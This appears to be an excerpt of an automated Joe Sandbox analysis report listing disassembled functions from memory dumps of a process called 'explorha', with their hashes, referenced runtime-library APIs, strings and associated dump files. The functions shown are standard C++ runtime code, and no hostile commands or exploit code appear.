Opcode Fuzzy Hash: 5cc244144aa21fd67cfd2a0a96b48e24ba2f812f1f3e95140b654c23969b8c77
Instruction Fuzzy Hash: E9213D7190120D9ADF25DFF4C955AFEB7F0AF14310F208629F2A5A6192E7B18A44CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00B031B6 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00B031E4
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B031F3
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B032B7

Strings

pContext, xrefs: 00B032AF
switchState, xrefs: 00B031EB

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 2231bbf63491883718d2ccee0c7cfec0c3a08f2fb5aaf3fb7e59460cb8d1e58b
Instruction ID: b081c26a666ebb7104823b9ca7a9337c1ece8fe1abd5075c60487e56d7928ae6
Opcode Fuzzy Hash: 2231bbf63491883718d2ccee0c7cfec0c3a08f2fb5aaf3fb7e59460cb8d1e58b
Instruction Fuzzy Hash: 19319E35A00214ABCF05EB68C889A6D7BF9EF48710F2045E5E915AB3D1DB31EF058B90

Uniqueness

Uniqueness Score: -1.00%

Function 00B064AA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00B064FD
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00B06516
PMDtoOffset.LIBCMT ref: 00B0653C

Strings

Bad dynamic_cast!, xrefs: 00B0657E

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: d72d683008374b1c4c1f75c4768cc7fc8dac7bbcec2b14ef09140df747871ec0
Instruction ID: 38948e5e0742c5a05bce9ea1fd741d37845d4b31b1563689c14af0327314d9f1
Opcode Fuzzy Hash: d72d683008374b1c4c1f75c4768cc7fc8dac7bbcec2b14ef09140df747871ec0
Instruction Fuzzy Hash: F8212B72A002099FDF14DF68DD46AAE7FF4EF54720F2081D9F914932C4E730E9208690

Uniqueness

Uniqueness Score: -1.00%

Function 00B08829 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00B0886B

Strings

.bat, xrefs: 00B0889A
.exe, xrefs: 00B08878
.cmd, xrefs: 00B08889
.com, xrefs: 00B088AB

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 6d0ad346ff2cc47b6a48df2fa18724c6ca6f8a8a5d48859c7de7a18250a75dd7
Instruction ID: 0f00f2e2e435eb528f5b71d95c357073a937541b5b53d869bf0dcdc4e7c62dbf
Opcode Fuzzy Hash: 6d0ad346ff2cc47b6a48df2fa18724c6ca6f8a8a5d48859c7de7a18250a75dd7
Instruction Fuzzy Hash: A701D277A1472525B6182058BC0266B2FD8EFC2BB072A40BEFC88FB5D1EF94DD424194

Uniqueness

Uniqueness Score: -1.00%

Function 00AF1101 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00AF1196

Strings

GetThreadGroupAffinity, xrefs: 00AF1123
GetCurrentProcessorNumberEx, xrefs: 00AF114E
kernel32.dll, xrefs: 00AF110A
SetThreadGroupAffinity, xrefs: 00AF1117

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 270d04d0b82f57737d29f4c098e93f44b565b984352d20a0502281e37306c3fa
Instruction ID: 03687bb2928887edd98785aae37a347f3425c1b7706f3aae30e0abed82a51529
Opcode Fuzzy Hash: 270d04d0b82f57737d29f4c098e93f44b565b984352d20a0502281e37306c3fa
Instruction Fuzzy Hash: 92012DA195531AB9772077FD6C46EBB62DC8E427947301F2EB740E31A2FDE4DC000269

Uniqueness

Uniqueness Score: -1.00%

Function 00B03724 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00B03744

Part of subcall function 00AFE183: Mailbox.LIBCMT ref: 00AFE1BD

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00B03755
StructuredWorkStealingQueue.LIBCMT ref: 00B0378B
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00B0379C

Strings

e, xrefs: 00B03766

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
